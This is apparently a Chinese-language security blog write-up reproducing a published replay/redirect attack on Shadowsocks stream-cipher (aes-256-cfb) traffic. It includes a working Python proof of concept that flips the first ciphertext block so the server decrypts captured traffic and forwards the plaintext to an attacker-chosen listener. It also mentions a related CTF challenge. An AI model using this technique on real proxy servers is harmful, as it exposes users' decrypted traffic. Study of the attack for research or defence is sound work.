给出了一种重放的思路,在满足两个条件:【截获了ss-local to ss-server的流量、shadowsocks服务选择stream ciphers且目前仍在运行】的情况下,可以解密许多类型的流量,给出了http和https的例子。后面会再尝试复现一下思路相同的,defcon29的 PERSONAL PROXY题目。
项目地址 彭博士太强了= =
Zhiniang Peng from Qihoo 360 Core Securityhttps://github.com/edwardz246003/shadowsocks
有一篇非常详细的分析,看他甚至比看懂我的强:https://github.com/net4people/bbs/issues/24
基本知识 加密方式 shadowsocks目前支持的加密方式
其中stream ciphers有
Rc4-md5, salsa20,chacha20,chacha-ietf, aes-ctr, bf-cfb, camellia-cfb, aes-cfb
文章中选取了 aes-256-cfb 作为demo。
ss协议 我们仅需要了解建立tcp连接的前半段就ok了,更加详细的可以参考这个:https://www.ichenxiaoyu.com/ss/
建立tcp连接 [ target address ][ payload ]
target address具体的信令,类似于socks5 [ 1-byte type ][ variable-length host ][ 2-byte port ] 0x01 0xc0b00101 0x00b8
The following address types are defned: 0x01: host is a 4-byte IPv4 address. 0x03: host is a variable length string, starting with a 1-byte length, followed by up to 255-byte domain name. 0x04: host is a 16-byte IPv6 address The port number is a 2-byte big-endian unsigned integer.
举例,客户端要发一个经过shadowsocks的http请求的时候,构造的包的plaintext就应该长这样:1 01 192.168.1.1 45761 GET /uri HTTP/1.1
ss-local构造完,发送给ss-server的密文就是(忽略掉字节数):
1 2 3 4 5 iv c0 01 192.168.1.1 45761 GET /u c1 ri HTTP/1.1\r\n balabala c2 c3
cfb分组
根据cfb的解密方式我们可以发现,假设密文分组,c0、c1,当我修改密文分组c1的时候,我可以影响分组0的解密结果。并且修改c1不具有传播性,仅会使分组1的解密结果为乱码。
利用方法 假设 ss-server:192.168.1.8:34549 监听一个端口,用来接收解密流量:10.10.10.10:1337 用户访问的网站是通过ipv4地址访问的,ipv6地址理论上也可以,而直接使用
利用 利用方式可以简述为:
找到一个http请求(其实就是抓大量的tcp连接,里面总会有符合要求的),抓到ss-local与ss-server交互的tcp连接的流量,我们需要其中http的响应包加密后的包
http请求的response开头一定是 HTTP/1.1
,根据cfb的分组模式,可以通过异或,在破坏c1分组的解密结果条件下,可以任意的修改c0分组解析结果。
监听一个端口,准备接受解密的流量。例如 127.0.0.1 9999,按照ss的方式构造成信令:\x01\x7f\x00\x00\x01\x27\x0f
就是 \x01 127.0.0.1 9999
。
找到http响应包加密后的结果,将其第一个分组的前七个字节(第零个分组为iv),与 上面的信令和HTTP/1.
进行异或,把得到的新密文,直接丢给ss-server监听的端口进行重放
在恶意的端口处收到解密结果。
其中第四点是最重要的,核心为把密文丢给ss-server,让服务端解密并把明文发送出来,可以理解成特殊的 选择明文攻击 。
调试的记录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # coding:utf-8 def xor(s1,s2): n=len(s1) r='' for i in range(n): r+=chr(ord(s1[i])^ord(s2[i])) return r method='aes-256-cfb' def up(c): l=16-len(c)%16 c=c+'\x00'*l return c #c is a capture http packet. 过长,已截断 c='3fee10c03db9d03074ecd3e550644be7d68e241a1dede8d3a202012da462c4a1743feffd5856264ce56e453026dd391c8ad6d638f6b77285597de92e5c247306dd02aa5dd767d70fb6c0b0fd48531c4d1bf5ceb99c1e8d6ecd72a4f08c20d0251ddc6cf42fef59c158e5830faf7f50f0c4674da516cc13e5f9d10f8a623617b4f34e8187e6c3d7ec8389450df6f95e88ef34b5cadc14a9e554df3bf53f12647f7dd4ae65157015244cdaf7f6f516f3d5aaf4e8b91630b0d223f365b709b8639fc71dfa1a38a0f215cb1cf054752a7bbf4f20d93f2453abfc85f08c2a1c38dc10f3e002b43c61de6388c574cd033ba51abbf3048388a7e09b1f5c0829864cb7965a551fe47c5a98a7244af2b9d08f0ffa2e4244d6e7c092fb62029c8899f5842d7ae186e45f8dda9f965d540f3c14d326cdffbac4c899d602a455c71d28bc5e056760ed24420f58aae2462285e37acf85089bf28f302241097d5b02e609b6ea48d147f1677049d14a83f853074d95a3b3da8a44e0f140bea952515f95fa435fc39502661c1f7708f584288c83daa0e123bcb2d1bba6a96ce8a1e4a5616e24c9382a0bf8f602d4ca8c3dc0e4bbd57811767ae909aa4c04ad44e414ee68b876391993ee6cad2277b898cd959d8db872514f3bc8e3ad0c4420f43d24a7e7591a7512190d032e3a9f42dcb1e1dc61c2cb3a7b306f8e0cffac314f6425fa1d0051b7d20bb44cebcc45de3e2088f09c0121bdf3c8bd64a80df02c74f78d0ec8406c4cff6569d1fff42efb14fa47f8c76ca7a8fce758b0a5ea03ad37a8a1a5cb5a9a2807fa819aea3be69a89c064ad9b53cfbecd58cb552b6b807ae119092cc2e74ce5e22125ea2b899bd0e2cc67336d1c6aa1a6a0ef292f1216f88e11e114c9ecd932f41088510a794199d01f7f0974aeaa50c5b11b44513f69605367b53e985e565b9759b971e758064c62980bcddcacd613e66fadc2afaf0096bd232f63105370670fa3897473143125ef7ab5cbcaf276fd39d8932433e33517dd930deb018c0db6e25e6956d49d35b2ac39e0940c2209034fc9c376ab8df52fb1748838e610983ecaf52882c0fcc4c589626d6ed6eff1f76a20a3eebb36b3c8af1dcb6ad1618c121f6043473bba5c00ee52beedecf5dcb6ff4169bf7f0c5a05959b1cf8738f38db1ee80ece7e131576a5e74928e940335565d941f4a5597c4e5fe650084bbe3ea41bdbfef9042aaef5cbbaac47bd511a9d248b60af059c986e88931a0908870a53468672ce5327d9ea550e3ed29926ead0' c=c.decode('hex') c=up(c) prefix_http='HTTP/1.' targetIP = '\x01\x7f\x00\x00\x01\x27\x0f' # 127.0.0.1 9999 x=xor(prefix_http,targetIP) y=c[16:16+7] z=xor(x,y) cipertext=c[0:16]+z+c[16+7:] import socket obj = socket.socket() print ("begin\n") obj.connect(("127.0.0.1",40623)) obj.send(cipertext) buf=obj.recv(1024)
总结与其他 总结 我们可以扩展一下还有哪些包可以解析,理论上请求都不好解析。请求的数据是 我们需要已知address的情况下,才能利用分组密码的翻转特性来进行重放和转发。
其他Response呢?大多数协议都会有固定的headers,有很大的可能可以解析,甚至可以写一个工具来进行常见的fuzz。
CTF中的题目 在defcon29的比赛中,遇到了PERSONAL PROXY这个题目,他的实现是shadowsocks里面套了一层socks5代理。而socks5代理具有明显的信令特征。经过一定的测信道分析可以完成这个题目,具体题解参照这里:
https://blog.soreatu.com/posts/writeup-for-billboard-and-personal-proxy-in-real-world-ctf-2020-2021/#socks5